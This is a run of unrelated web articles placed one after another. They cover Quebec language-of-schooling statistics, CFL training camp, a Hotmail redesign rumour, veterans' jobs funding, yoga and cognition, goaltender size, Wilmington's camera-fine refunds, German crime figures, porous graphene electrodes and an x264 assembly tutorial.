Researchers did observe that the proportion of francophones who choose to attend CEGEP in French has dropped by 2.8 per cent from 1985 to 2015, mainly because more francophones are choosing English CEGEP. But this trend was countered by the fact that during the same period, French CEGEPs attracted a rising number of students whose mother tongue is neither French nor English.
Despite statistics showing that French is flourishing in the education sector, a prominent French-rights group released its own study on Friday, titled: “Admissions applications in decline in francophone CEGEPs.”
The Société St-Jean-Baptiste de Montréal focused specifically on Dawson College, contending that the popular Montreal institution is faring better than many French CEGEPs.
“Contrary to the francophone college network, Dawson CEGEP, the largest anglophone college and one of the biggest institutions in Quebec, is reporting the number of its admissions increasing by 2.3 per cent,” the SSJB declared in a statement on its website.
A spokesperson from the SSJB was not available to comment on the two studies by OQLF. Among the highlights of the OQLF studies:
The proportion of francophone students with a high-school diploma who opted to attend an English CEGEP increased from 4.9 per cent in 1993 to 10.1 per cent in 2015. This trend has raised concerns among French-rights activists.
In 2015, 90.4 per cent of students across the province attended a French primary or secondary school. In Montreal, the proportion was 80 per cent. By comparison, the provincial rate stood at 84.3 per cent in 1971, with 63.8 per cent of pupils going to French schools in Montreal.
In the most striking finding, the proportion of allophones going to French schools across the province jumped from 14.6 per cent in 1971 to 89.4 per cent in 2015.
In another significant finding, researchers noted a 20-per-cent increase in the proportion of anglophones going to French schools since 1976, the year the Parti Québécois formed the provincial government, ushering Bill 101 a year later. In 2015, 27.9 per cent of students whose mother tongue is English attended French schools in the province.
From 1985 to 2015, the proportion of allophones attending CEGEPs rose from 7.6 per cent to 15.3 per cent.
Language aside, the total number of primary and secondary students in Quebec dropped from 1.6 million in 1971 to 1 million in 2015.
aderfel@postmedia.com
No, the biggest group of fans in attendance at Fuhr Sports Park to watch the Edmonton Eskimos kick off Day 1 of training camp was there to see rookie offensive lineman David Beard.
Call it his unofficial fan club – thought it could have looked every bit as much like a U of A Golden Bears coaches meeting – that turned out to see the second-round draft pick (16th overall) put through the paces of his first pro camp.
“I knew I’d have a little bit of family, but I had no expectation of all my old coaches showing up, so it was a real treat being able to catch up with them and get their feedback,” said Beard, who is wearing fellow Golden Bears alumni and former Eskimos offensive lineamn Gord Hinse’s No. 57.
Beard has become a bit of a golden child for this current coaching regime of the Bears, as their first product to get picked up by a CFL squad.
“Right, I suppose the first-born,” Beard laughed. “Both coach (Chris) Morris and (Tim) Prinsen have tons of experience at this level and I’m one of the guys they’ve invested in.
“I’m extremely grateful for that, they’ve been a huge part of getting me here today.”
Morris and Prinsen were keeping an eye on Beard Sunday, along with fellow Bears coaches Rick Walters and Brent Korte.
“He’s very young playing O-line with only two years under his belt, but if he keeps progressing like he did with us, I think he’s got a good chance to play here for a while,” said Prinsen, who has both played on and coached the Eskimos O-line in the past. “It’s just neat to see how he competes here, how he fits in.”
You could already see the smile begin to creep over Prinsen’s face.
“Hopefully he doesn’t do too well so we get him back.”
NEW FACES
The Edmonton Eskimos opened training camp by announcing the remainder of the signings they’ve made over the off-season.
Added to the mix were WR/KR Denarius Appling, DB Deion Belue, DE D.J. Bryant, WR Skye Dawson, OL David Griffin, LB Dawud Lane adn DB Harold Mutobola.
If any one of the group stood out at first glance, it was Griffin. If not for ability, then certainly for his bright pink cancer-awareness cleats.
“They better stand out, they better do things the right way and they better be a good person, those are the things we’re looking for,” said Eskimos head coach Chris Jones. “We’re not looking for guys to come in and be comedians or anything, just to come fit in with our group.
“We’ve got a tremendous group, football matters to these guys and it’s fun to watch how hard they prepare and play. If they don’t bring those things, they won’t be here.”
All told, Jones said he was pleased with how the returning players kept up with the pace of his practice.
At first, at least.
“It was a good Day 1, especially the first practice when we had the pads on them, it was really fast,” Jones said. “When they took the pads off, it slowed down. The guys have to protect themselves, but at the same time, their concentration could have been better during the second practice.”
The players, meanwhile, were happy to finally get back to business.
“It was great to be back on the field, it’s been a long time since November, that’s for sure,” said Eskimos starting quarterback Mike Reilly. “Day 1 is always fun because everyone’s super excited, there’s a ton of energy out there, but what’s a little different this year is there weren’t as many mistakes.
“I think that comes with having the same playbook, same coaching staff and the veteran guys being able to lead by example.”
The Eskimos are down one of those veterans from last year, announcing the retirement of Canadian offensive lineman Steve Myddelton on Sunday, marking an end to a six-year CFL career that began by getting drafted in the fourth round (30th overall) by the Calgary Stampeders.
He spent 2014 with the Eskimos after coming over in a trade with the Hamilton Tiger-Cats for fourth-round pick in the 2016 draft.
“I’ve known Steve for a long time, we drafted him years ago in Calgary,” said Jones, the former Stampeders defensive co-ordinator. “He’s a good guy and we certainly wish him the very best and thank him for the contributions he gave us last year.”
STICKER ‘EM UP: The Eskimos at least looked like a team that’s game ready on Day 1, thanks to their helmets already having full decals in Sunday’s practice sessions – something not normally seen until right around the day before their first preseason game.
HURT PARADE: The Eskimos started training camp with a handful of players on the sidelines, including: CB Alonzo Lawrence, WR Shamawd Chambers (knee), RB Aaron Milton, OL Simeon Rottier (knee) and WR Devon Bailey. Also absent for personal reasons were CB Patrick Watkins and OL D’Anthony Batiste, who have been put on the team’s suspended list.
Talk about a long-time coming: according to Liveside, a Hotmail makeover is in the works. A few leaked images surfaced yesterday and today showing off the new look in all its Metro style glory – as well as what looks like a new name. The Hotmail client may appropriately become known as Newmail, at least according to these screenshots.
Hotmail’s reputation has waned in recent years. What use to be an incredibly popular option has since become something of a joke. Microsoft issued an overhaul relatively recently, and while there were some incremental UI updates, it was primarily focused on spam cleanup. This is a much larger, far-reaching revision to Hotmail – er, Newmail – than what we’ve seen in quite awhile.
It’s definitely an attempt on Microsoft’s part to push Metro. The tile-friendly UI got its legs with Windows Phone and since has been an important part of Microsoft’s attempts at unification – not only of its platform, but of its design choices.
But it’s not all looks. Newmail will allegedly integrate with Twitter and Facebook, possibly introducing a way to concentrate information from your contacts across social networking profiles. If Newmail is able to find some happy medium between the traditional email inbox and socially infused communication networks, it could capture the attention of frustrated users.
President Barack Obama on Friday ramped up his efforts to help unemployed veterans find jobs by calling for $6 billion in spending aimed at service members returning home from the wars in Iraq and Afghanistan.
Veterans “are the Americans that we want to keep serving here at home as we rebuild this country. So we’re going to do everything we can to make sure that when our troops come home, they come home to new jobs and new opportunities and new ways to serve their country,” Obama said at Arlington Fire Station No. 5, a Northern Virginia firehouse that sent some of the first emergency responders to the Pentagon on Sept. 11, 2001.
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Obama and first lady Michelle Obama have made a point of reaching out to veterans and military families. But Republicans have countered by noting that the unemployment rate among veterans is higher than the national average and that not doing enough is being done to help them.
On Friday, Obama made clear “there’s more we can do” to help veterans find jobs, as he proposed the creation of a Veterans Jobs Corps program that would use $1 billion over five years to help as many as 20,000 veterans find work preserving and restoring federal, state, local and tribal lands.
He also called on Congress to increase funding in fiscal 2013 for programs that help communities hire police and firefighters, with a focus on prioritizing the hiring of veterans. He will include $4 billion in his 2013 budget to expand the Community Oriented Policing Services grant program and $1 billion for a fire and emergency response program. The programs would give preference to hiring veterans. Obama first proposed additional funding for these initiatives in his jobs bill.
Related: Relaxation May Hold The Key To Breaking Free From Depression
An Overview of Each Style
Bikram is also known as “hot yoga” which is doing yoga in a hundred degree Fahrenheit room with very high humidity. Basically, make sure you know how to swim because you’ll be drenched in your own pool of sweat by the end of the session. Vinyasa yoga is a more generalized yoga which focuses on the “flow” of poses. This type of yoga is prolifically used by instructors due to its flexibility whether you want to take the cardio route or the strength route.
Kundalini yoga is great for strengthening your core and abdominal area. Power Yoga is perhaps the most popular yoga style in the United States. This is the yoga that makes you feel like you’ve been hit by a bus the day after because you are sore in areas you’ve never been sore before. Basically if you have an annoying friend who keeps saying “yoga is easy,” this is the yoga you take them to.
Hatha Yoga
Finally, Hatha Yoga, also known as “gentle yoga,” is a very popular yoga style for older people and beginners because of it’s physically-forgiving poses. Unlike power yoga, it does not focus on the physical benefits of yoga, but instead it encourages the participants to settle down, relax and focus on uniting the mind and body in a graceful unforced way of relieving stress.
“Hatha Yoga may in fact boost brain functions in older adults.”
Before you start saying “boring” and do a quadruple back-flip into your power yoga class, it turns out relaxation-focused yoga has it’s own unique benefits that may not be achievable in other types of yoga. According to a study led by Nahe Gothe with University of Illinois kinesiology and community health professor Edward McAuley and Beckman Institute director Arthur Kramer, Hatha Yoga may in fact boost brain functions in older adults.
The study
The research involved 108 participants ranging from ages 55 to 79 years of age. The first group practiced Hatha Yoga for three times a week for eight weeks, and the second group (control group) did the same amount of activity but did stretching and toning exercises instead of yoga.
At the end of the eight weeks after putting into account the differences in age, gender, social status, and other demographic characteristics of the participants, the yoga group showed a significant increase in their information recall, mental adaptability and multitasking skills. The control group showed no significant increase in their cognitive performance.
The researchers stated the increased focus promoted by Hatha Yoga may have helped the participants focus more efficiently when doing day to day mental activities. According to McAuley, “Participants in the yoga intervention group showed significant improvements in working memory capacity, which involves continually updating and manipulating information.” In a way, it would seem Hatha Yoga allowed the participants to de-clutter their minds and allowed them to use their full cognitive capabilities to handle the tasks in front of them.
“The eight-week yoga intervention may have boosted participants’ performance by reducing their stress.”
The lead research Neha Gothe clarified, “These studies suggest that yoga has an immediate quieting effect on the sympathetic nervous system and on the body’s response to stress…Since we know that stress and anxiety can affect cognitive performance, the eight-week yoga intervention may have boosted participants’ performance by reducing their stress.” The reason Hatha Yoga induced an increase in the participants’ mental capabilities may be primarily due to it’s relaxation-centric approach.
Conclusion
Despite the fact that the study was performed on older adults that doesn’t mean Hatha Yoga may not have equal or greater effect on younger individuals. The essential piece of information to be taken from this study is it further solidifies the recent emerging trend of relaxation-centric activities’ surprising many and broad health and cognitive benefits. This is not to completely ignore the health benefits of more physically demanding yoga practices. In fact, it is recommended for people who desire to push their fitness to the next level, but for people who are looking for an escape from the stress and want to increase cognitive performance, Hatha Yoga is the way to go.
Related: Relaxation Shields You From Infectious Diseases
Spread the Yawn:
The average height of NHL goaltenders sits at a shade over six-foot-two. It rose steadily alongside increased usage of the butterfly in the 1990s, and into the 2000s. Naturally, if a goaltender is taller, they will cover more space at the top of the net while in the butterfly position. Many smaller goaltenders struggled to adjust during the shift away from the stand-up style, and the careers of those that could not adapt ended abruptly.
This way of thinking has trickled down over the years. Instead of “the kid that can’t skate” being shoved into the crease like in the early days of the sport, the “tall kid” as the goaltender has since become the cliche. Scouts began looking for taller goaltenders at the request of their team’s goalie coach. Mitch Korn once famously told InGoal in a previous “Ask a Pro” article, “We’re looking for the most-skilled, biggest guy we can find.”
If you would ask Korn the same question today, he would likely admit that the emphasis has now been placed on the first part of his answer: Skill.
In the last decade or so, major advancements have been made in the understanding and development of puck tracking ability for goaltenders. Finnish goaltenders, your typical trendsetters, were some of the first ones to take advantage of this knowledge. While the rest of the world trained massively large goaltenders to simply block, the Finns were teaching goalies of all sizes about true athleticism, and the importance of active hands.
While they still had their share of bigger-than-average goaltenders, they were simultaneously churning out smaller, exceptionally skilled goaltenders that would go on to have lengthy NHL careers. Think of goaltenders like Miikka Kiprusoff (623 GP), Niklas Backstrom (409 GP), Vesa Toskala (266 GP), and Antero Niittymaki (234 GP). In an era that was seemingly obsessed with goaltender size, those 6-foot-2-or-shorter goalies were consistently stealing games from their larger counterparts.
Having active hands is crucial to any smaller goaltender’s success. The main reason (but not the only reason) that it’s especially important to a smaller goaltender is because it helps cut pucks off before they have the ability to rise. Connor Hellebuyck recently talked about the theory of projectioning in an interview. It’s important for a larger goaltender like him, but it’s everything for smaller goaltenders.
Understanding how to read shots from the puck’s eye view is crucial. Understanding how to close on shots instead of pulling away is almost just as important. The margin for error is greater for smaller goaltenders, so using the square footage of their body appropriately is key.
One advantage that smaller goaltenders do have is the fact that if they open up on a shot, the space that is created by reaching is a lot smaller than a six-foot-five goaltender. That’s where the old adage of “get the bigger goalie moving” comes into play. If you can get a bigger goaltender to open up, the spaces in the five-hole and underneath each arm become very visible.
With all of this information in mind, it’s clear that there is a sort of “money height” for goaltenders that scouts are starting to notice. They are no longer looking for the magical six-foot-eight behemoth, because they realize that if they don’t possess necessary puck tracking skills, they will never cut it at the professional level. Good shooters will open them up, and that’s where being a large goaltender is actually a disadvantage.
League Average Goaltender Height (Inches) Ontario Hockey League 73.77 Western Hockey League 73.26 Quebec Major Junior Hockey League 72.73
Seven of the top ten ranked North American goaltenders for the 2016 NHL Entry Draft are listed by NHL Central Scouting as six-foot-two or shorter. For the European goaltenders ? It’s nine of the first ten. It’s clear that young goaltenders in all countries, not just Finland, are being taught about the importance of puck tracking.
Now the results are starting to show.
Zach Sawchenko of the WHL’s Moose Jaw Warriors is the third-ranked North American goaltending prospect for the 2016 draft, and he stands at an even six-feet tall. When asked about the modern development of puck tracking helping smaller goaltenders like himself, he wholeheartedly agreed.
“I think we’re at the point now where size doesn’t matter as much as it did 5-10 years ago. With [tools like] Head Trajectory, you don’t have to be that big. You can be five-foot-ten, and if you track properly, you can compete with goalies that are six-foot-five.”
Carter Hart of the Everett Silvertips held the same opinion in another recent interview, where he claimed that eye-training tools such as CogniSense and Dynavision give him an edge over larger goaltenders. Hart is six-foot-one, and is the top-ranked North American goaltender heading into this year’s draft.
When asked, Winnipeg Jets top prospect and current Manitoba Moose goaltender Eric Comrie had a slightly different take.
“I don’t think it’s a shift from bigger goaltenders to smaller goaltenders, we’re just starting to see goalies that track the best make it. They have better natural ability of skating, tracking down on pucks, seeing the puck better. It’s a combination of that stuff that gets you to the next level.”
Comrie, a former 59th overall pick in 2013, is also under the league average height, standing at six-foot-one. He feels that efficient tracking is the key to being a successful goaltender. In his opinion, goalies now have a new understanding of how to properly track the puck. This helps goaltenders of all sizes. It has evened the playing field, so to speak. Talent – not size – is what sets this new wave of goaltenders apart.
“Efficient tracking helps the smaller goaltender because staying down on pucks helps their ability to stay patient. When you are staying down on a puck when you’re moving across, you really understand how much time you have, and you can hold your edges a lot longer. You also realize how little you actually have to move to make that save.”
When blocking-style goaltending was at its peak, smaller goaltenders had a hard time playing that way, and were slowly phased out. Now with proper reading and reaction training, smaller goalies are excelling to a point where they can now be more efficient, and stop more pucks than larger goalies.
Even though Jeff Lerg is making a strong case in the ECHL, don’t expect to see the return of the five-foot-six Darren Pang days of goaltending.
Mayor Purzycki said right turn citations issued between July 1, 2016 and January 11, 2017 under the City’s Camera Safety Program have been voided and no additional citations have been issued
Wilmington Mayor Mike Purzycki announced today that the City’s Right-Turn-on-Red Camera Safety Program has been suspended indefinitely. The Mayor said the City will begin next week to refund over $800,000 in fines to the owners of more than 6,700 vehicles who received and paid one or more citations between July 1, 2016 and January 11, 2017. The Mayor said the City is also notifying, beginning this week, another 2,500 vehicle owners to inform them that the citation their vehicle received during that period has been voided, and they do not need to pay their fine.
City Finance Director Patrick Carter said the City has already identified all of the vehicles that were cited during the period in question, so there is no reason for citizens to call the City about the refund. The owners of all affected vehicles will be notified by mail.
Mayor Purzycki said the reason he suspended the Right-Turn-on-Red Camera Safety Program effective January 11 and has now ordered that refunds be issued stems from action taken last summer by the Delaware General Assembly. He said in the closing days of the session, epilogue language was added to the State’s Bond Bill providing that jurisdictions operating camera safety programs such as Wilmington’s could only issue right turn on red violations if there is safety and crash data to support it as determined by the state’s Department of Transportation.
Mayor Purzycki said when he learned in early January that the General Assembly had added specific language that directly impacted the City’s program, he immediately directed that the issuance of citations be suspended as of January 11. He said the City’s Finance Department then began the process of identifying the more than 9,300 vehicles that had been cited during those six months or so, and determining which of them had paid their fines and which had not.
Regardless of the intent behind the new law, the language enacted by the General Assembly raises substantial questions regarding the enforceability of Wilmington’s camera based right turn on red program. “We chose the prudent and fair approach of suspending enforcement until the statute is clarified,” said the Mayor.
The Mayor cited the loss of the revenue from the program as a factor in the City’s current and extended budget deficit woes that caused him last week to recommend the elimination of 29 government positions as well as a property tax increase.
For more information about this news release, contact:
John Rago
Deputy Chief of Staff for Policy and Communications
Office of Mayor Michael S. Purzycki
Mobile: (302) 420-7928
As part of the lead-up to next week's titanic clash in the light heavyweight division, SB Nation's Submission Radio brings you another "Technique of the Week", with Shawn Davies (and his partner) of Australia's Malvern Martial Arts teaching you how to do a "crash, bodylock, outside trip takedown" that is frequently used by Cormier in his fights. It's a cool step-by-step breakdown for enthusiasts who want to learn to fight like the best. You can watch the video by clicking the "play" button at the top of the post.
After lapping up the mixture of jeers and claps he continued on the completely unrelated topic of crime.
“You know what a disaster this massive immigration has been to Germany and the people of Germany. Crime has risen to levels that no one thought they would ever, ever see. It is a catastrophe.”
To listen to Trump you would think that Merkel spends most of her free time handing out 100 euro bills to refugees on the street while all around her foreigners are robbing banks and plundering the homes of honest, hard-working Germans.
It was interesting to see how the tycoon seamlessly jumped from social spending to immigration and crime - as if these things were one and the same. It told us a lot about how angry conservatives in the USA see Germany, but absolutely nothing about reality in the Federal Republic.
On closer analysis Trump's statements turn out - wait for it - to be complete fantasy.
If Trump had even the slightest idea about German politics he would know that Merkel has presided over a government that has an obsession with financial tight-fistedness.
Finance Minister Wolfgang Schäuble fastidiously sticks to the concept of schwarze Null, whereby the tax man takes in more than the government spends in a year.
Critics point to decaying road and rail infrastructure, and to increased levels of child poverty, in appealing to the government to loosen the purse strings and start investing in the country's future.
World Bank figures on government debt as a percentage of GDP shows that Germany is one of the class swots in the developed world, with public debt coming to 52.3 percent of GDP. As a comparison the USA's public debt is 96.8 percent of GDP and the OECD average is 68.3 percent.
And, to Merkel's credit, Germany manages this while providing free higher education, a national minimum wage and a health care system that ensures no one is left behind.
Trump's claim about unimaginable crime levels since the refugee influx of 2015 is even more risible.
Crime has been falling in Germany for decades. Since a high point in 1993 of just under 8,500 registered crimes for every 100,000 residents, crime rates have declines and plateaued between 2010 and 2012 at roughly 7,400 registered crimes per 100,000 people.
German police figures for 2015 show that the crime rate rose during the year by 4.1 percent to slightly over 6.3 million registered crimes. This came out to just under 7,800 crimes per 100,000 residents.
But this increase was completely distorted by one statistic: that the huge numbers of refugee arrivals had created an explosion in the number of people illegally entering the country.
Take this statistic out and overall crime fell in Germany in 2015 in comparison with 2014 from 7,337 crimes per 100,000 resident to 7,301 per 100,000 residents.
Crimes committed by migrants, such as sexual assaults in Cologne over New Year (around half of the suspects for which had arrived in Germany in the previous 12 months) and an axe attack on a train in Würzburg in July, have made international headlines. But these only represent a vanishing proportion of overall crime.
The fact is in 2015 Germans were safer than they have ever been since the reunification of the country.
(Nanowerk Spotlight) The performance of batteries and supercapacitors depends on the density at which they can store energy and the speed at which they can be charged and discharged. These functions critically depend on the nanostructured electrodes that are used in these energy systems.
Porous carbon nanomaterials are widely employed as electrodes for supercapacitors and electrodes in commercial lithium ion batteries. Porous carbon, such as activated carbon, microporous carbon, and mesoporous carbon, usually has very high surface area and tunable porous structure but very poor electrical conductivity.
In contrast, sp 2 carbon – graphene, fullerenes, and carbon nanotubes – exhibit high electrical conductivity but limited surface area.
"A carbon material with high electrical conductivity, high specific surface area, tunable pore structure, mechanically robust framework, and high chemical stability is an important requirement for advanced electrochemical energy storage," Dr. Qiang Zhang, an associate professor at the Department of Chemical Engineering at Tsinghua University, tells Nanowerk. "However, neither porous carbon or sp 2 carbon can full meet these requirements yet."
How to create a conductive carbon material with especially large pore volume, and hence large surface area, has therefore been a key focus in electrode research.
Recently, Zhang's group has succeeded in creating a novel 3D porous graphene framework (PGF) that inherits the hierarchical mesoporous structure of oxide templates. The as-obtained material possesses a high surface area of 1448 m 2 g -1 , 91.6% of which is contributed by mesopores, and a high mesopore volume of 2.40 cm 3 g -1 .
The team reported their findings in Small ("3D Mesoporous Graphene: CVD Self-Assembly on Porous Oxide Templates and Applications in High-Stable Li-S Batteries").
Illustration of 3D porous graphene frameworks with large mesopore volume. The pore size distribution of graphene frameworks is employd as the background. (Reprinted with permission by Wiley-VCH Verlag)
The researchers fabricated the hierarchical metal oxide templates that they used from layered double hydroxide (LDH) precursors (Zn-Mg-A) through facile calcination and reduction.
In fact, Zhang's lab has been working on LDHs for the past eight years, and they can easily modulate the nanostructures of metal oxides derived from the LDH precursors (see for instance: "Novel nanocarbon architecture makes a superior bifunctional electrocatalyst").
"In our new work, we propose an in situ route to fabricate hierarchically mesoporous oxide templates, in which small pores are introduced by Kirkendall diffusion during calcination of precursors and large pores are attributed to evaporation of volatile metal during subsequent reduction of Zn," Jia-Le Shi, a graduate student in Zhang's group and the paper's first author, explains. "When we subsequently employed these calcinated and reduced Zn-Mg-Al LDHs as templates for casting of graphene through chemical vapor deposition self-assembly, we obtained 3D graphene frameworks with an abundance of mesopores."
Schematic for PGF fabrication. A hierarchically porous oxide flake with small pores induced by Kirkendall diffusion during calcination and large pores attributed to volatile metal evaporation during subsequent reduction was used as a hard template to cast graphene. The PGF with large mesopores was obtained by chemical removal of the oxide template. (Reprinted with permission by Wiley-VCH Verlag)
As a practical example, the team employed their as-obtained porous graphene frameworks as conductive scaffolds to host sulfur for lithium ion storage.
It has already been demonstrated previously that the use of highly conductive carbon is an effective route to accommodate sulfur as a composite cathode for lithium ion storage (see our previous Nanowerk Spotlight: "Two-carbon marriage for better lithium-sulfur battery")
The discussions on this page have been edited for clarity, ease of reading, collation of later questions, and to trim out some noise. The original transcript can be found here: X264asm
Example 1: predict_4x4_dc
Open common/x86/predict-a.asm, go to predict_4x4_dc_mmxext (git link). This function does the following:
A B C D E X X X X F X X X X G X X X X H X X X X
It calculates (A+B+C+D+E+F+G+H+4)/8, and sets all the Xs equal to that value where those are 8-bit pixels in a 2D array with a stride of FDEC_STRIDE.
<Q> What is FDEC_STRIDE? <A> x264 does all its pixel operations on the current macroblock in a temporary buffer of constant stride. It's faster that way, and better on cache. So for example, motion compensation will write to this buffer (or intra prediction). <Q> What's a stride? <A> Stride is the distance between (x,y) and (x,y+1), so to get from one row to the next.
Now that you understand what the function does, let's look at the asm.
cglobal predict_4x4_dc_mmxext, 1,4
"cglobal" declares a function accessible from outside of asm. The function's name is x264_predict_4x4_dc_mmxext (the x264_ is auto-added). The "1" means "we have one argument. Put it in r0 .", (that argument is uint8_t *src). If we had a second argument, we'd say "2" and the second one would go in r1 and if we had a third, it'd go in r2 , etc. So at the start of the function, r0 contains uint8_t *src.
<Q> "that argument is uint8_t *src", what does this mean? <A> See the comment above: void predict_4x4_dc( uint8_t *src ) <Q> What tells the function that it's uint8_t? <A> Nothing. It doesn't need to know. Types are a C-ism.
The "4" means we want x264 to give us 4 registers to use. r0 , r1 , r2 , r3 . This, of course, includes the r0 used for the parameter. So in short, after the first line: r0 = src, r1 / r2 / r3 = free, r4 and up: can't use.
<Q> That's x86inc.asm's doing right? <A> Yes, but we aren't going into that. <Q> I assume it means we can use them, but if you do, it'll screw around with something you don't want to? <A> Yes, which is why you can't use it.
So now, this function as you can see has 4 real steps:
Sum up A through D Sum up E through H Do the math to get our final value Store it into the 16 output Xs
So let's see how this asm implements these.
First, we'll look at step 1
pxor mm7, mm7
mm7 is a 64-bit register. xor , as you might know, is a nice way to zero things.
<Q> How do you tell how large a register is? <A> mm* is 64-bit, xmm* is 128-bit. The mm registers have a fixed size, only the general purpose registers are wordsize-dependant on x86
So, now mm7 is zero.
movd mm0, [r0-FDEC_STRIDE]
This sets mm0 equal to {A,B,C,D,0,0,0,0}
<Q> Oh, and how do we know the mm* registers are free? <A> They always are.
In x86, b = byte, w = word (16-bit), d = doubleword (32-bit), q = quadword (64-bit), dq = double quadword (128-bit). So movd = move doubleword = move 32 bits. So movd to mm0 will load data to the first 4 bytes and zero the rest. Thus mm0 is now ABCD0000. [r0-FDEC_STRIDE] is equivalent to *(src-FDEC_STRIDE) in C-style. Hence why it points to ABCD.
<Q> Are the "A B C D" on top of the "X X X X" or do they start on top of the "E"? <A> Former
psadbw mm0, mm7
This is what psadbw does:
uint16_t psadbw( uint8_t in[8], uint8_t out[8] ) { uint16_t sum = 0; for(int i = 0; i < 8; i++) sum += abs(in[i]-out[i]); return sum; }
Parse that for a moment
<Q> where is the sum stored? <A> psadbw X, Y , X is where the output is stored. So X is overwritten. So it's stored in the low 16 bits of X .
Now, of course, mm7 is zero! So we get abs(A-0) + abs(B-0) + abs(C-0) + abs(D-0) + abs(0-0) ... Or A+B+C+D. So after psadbw , mm0 is A+B+C+D and mm7 is still zero.
movd r3d, mm0
Now, we move the result to r3d , a general purpose register.
<Q> Is r3d one of the things that come with the 4 registers that are free? <A> This is an optimization: on 64-bit, using 32-bit versions of registers results in smaller instruction opcode sizes. So it's really just r3 . r0 , r1 , r2 , r3 are the 4 that are free. So we're using r3 . Note: the suffix 'd' means the 32-bit version, as opposed to the native-size version.
Get moving with part 2 of the algorithm.
Now r0 has our source pointer, and r3 has A+B+C+D. While the CPU is busy doing that, we'll go and do part 2, the E+F+G+H. Unfortunately, these bytes aren't in a straight line ("straight line" meaning "adjacent in memory"). So we can't just load EFGH and sad them. We'll have to do it the naive/slow way. So, now we're going to load E, F, G, H. Now you might notice some preprocessor commands here. %assign , %rep , etc are preprocessor commands.
So, first step: load E into r1d
movzx r1d, byte [r0-1]
movzx means "move, with zero extend". In C this would be: int r1d = r0[-1];
<Q> My C is a bit rusty, what does that do? does it just take the location in memory before r0[0]? <A> Yes, [] is just a dereference of a pointer. *(r0-1) = r0[-1] = (r0-1)[0] <Q> what is r0-1 in that ascii matrix? <A> E.
So, here's what these 7 lines look like after the macro runs:
movzx r1d, byte [r0-1] movzx r2d, byte [r0+FDEC_STRIDE*1-1] add r1d, r2d movzx r2d, byte [r0+FDEC_STRIDE*2-1] add r1d, r2d movzx r2d, byte [r0+FDEC_STRIDE*3-1] add r1d, r2d
in order: load E, load F, add F to E, load G, add G to E, load H, add H to E
<Q> Where is n stored? <A> It isn't. It's a preprocessor variable. <Q> Oh, so it's like a macro? <A> It is a macro. Note the pre-processed code above. Everything starting with % in yasm syntax is a macro.
Ok, now we have to do step 3: calculating A+B+C+D+E+F+G+H+4 / 8
lea r1d, [r1+r3+4]
First, let's go over x86 addressing. What you can put inside the brackets is not infinite. Here's the capabilities, specifically: [REG1 + REG2 * {1,2,4,8} + CONST]. A register, plus another register * 1/2/4/8, plus a constant (positive or negative). As you might note, this is pretty useful for accessing things like arrays. E.g. array[n+5], where array is an int array, would be: [array + n*4 + 20]
<Q> I suppose the [r0+FDEC_STRIDE*n-1] bit gets simplified on assembly to [register + const]? <A> Yes, yasm sums up constants for you.
So, as you might note, that's a pretty powerful addressing system. That's more powerful than, say... "add". So why not expose it in an instruction to let us use it for math? So Intel did. lea X, [expr] sets X equal to the value of expr just as fast as add. So that lea does r1d = r1 + r3 + 4
<Q> Wait, how does that work? <A> lea runs the [REG1 + REG2 * {1,2,4,8} + CONST] math on its second argument and adds to the first. lea doesn't actually address it. It just calculates the result and stores it instead of going to memory. <Q> And it's faster than add? <A> It's just as fast except that you can do more with it.
Now, technically, you can do more adds per cycle than lea , so you shouldn't go replacing all your adds with lea . But if you can use it to do more than one thing at a time, it's a big win. So this lets us add r3 , and add 4, in one op.
shr r1d, 3
There's one that you can probably figure out yourself - shift right.
<Q> Why are we shifting right? <A> +4 for correct rounding, >> 3 to divide (>>3 = /(2^3) = /8).
Now for the final part: storing the results.
imul r1d, 0x01010101
This is called a "splat" and you may have seen it in C as well. We're turning an 8-bit value into 4x that value, e.g. A -> AAAA
<Q> how does this work? <A> A * 0x01010101 = A A A A
So now we have a 32-bit register, r1d with one copy of A in each 8-bit nibble of that register. Now we go ahead and store this 4 times and we're done.
Finally, we RET: x264 will automatically clean up after us.
Example 2: pixel_sad
Ok, next. You may have noticed that psadbw is awesome. It does like 8 things in one. Whereas abs() is typically 4 instructions on x86. psadbw does 8 subtracts, 8 absolute values on those results and then adds them up. That's 8 + 32 + 7 = 47 instructions in one (at least, 47 equivalent).
<Q> why is abs() so slow? <A> abs() isn't slow, there's just no instruction for it. The typical algorithm is:
int sign = x >> 31; (x ^ sign) - sign;
This needs a mov on x86, so that's 4 instructions.
So psadbw is pretty awesome. It's very awesome for doing what its name implies you should do with it, that is -- SADs -- sum of absolute differences. So let's open sad-a.asm and hop down to line 95 (git link). Also open common/pixel.c and look at the first function: SAD (git link). This function is pretty simple. You should be able to see how it works. Look only at the C for now.
So as you'll notice, the C SAD has 7 different versions for 16x16, 16x8, 8x16, etc and it's instantiated via a macro. So, for our asm, we also need 7 versions and we also don't want to write the function 7 times, just like in the case of C we didn't.
So in the asm, we define a macro: %macro SAD 2 that means this macro has two parameters. They are accessed as %1 and %2. We call the macro 7 times, one for each size. The function takes 4 args (as you'd expect) and needs 4 regs (just the args)
<Q> Is SAD_INC_2x%1P another macro? <A> Yes, it's one of three macros, look above, each one does 2 rows worth of SAD for width 4, width 8, and width 16. It picks the right one based on the width and it %reps it based on the height.
Now, start analyzing the 3 macros above (the sad macros) and trying to figure out how they work. Note mm0 is the accumulator which is why it's zeroed at the start.
<Q> The order of args is the same as in the C function? <A> Yes <Q> What does punpckldq do? <A> Good question! punpck is a set of instructions that interleave their arguments in some fashion.
To start with, it can be l or h, low or high. So punpckl__ ABCD, EFGH will use AB and EF. And punpbkh__ ABCD, EFGH will use CD and GH.
The next two letters are the source size, and destination size. For example, punpcklbw interleaves bytes, to create words. So punpcklbw ABCD, EFGH gives you AEBF (if the letters are bytes). So punpckldq ABCDEFGH, IJKLMNOP gives us ABCDIJKL. So in other words, it stuffs the two sets of 4 bytes we just loaded into one register
So we can do only one SAD, instead of two. punpckldq ABCD0000, EFGH0000 results in ABCDEFGH. So it effectively concatenates mm1 and mm2 for us. If we didn't do this, we'd have to do twice as many sads and adds. We do this because the registers are width 8, but our sad is width 4. So we need to stuff sad information side by side to fill the whole reg.
<Q> Why are we punpckldq'ing the [r0+r1] and not [r0]? <A> We're concatenating row 0 and row 1 of each input. <Q> lea r0, [r0+2*r1] Why are we doing this step? Doesn't it move r0 over 2*r1? <A> We're incrementing the pointer by 2*stride
Now you should understand what SAD_INC_2x4P does, the others work similarly except without the punpck magic because they don't need it.
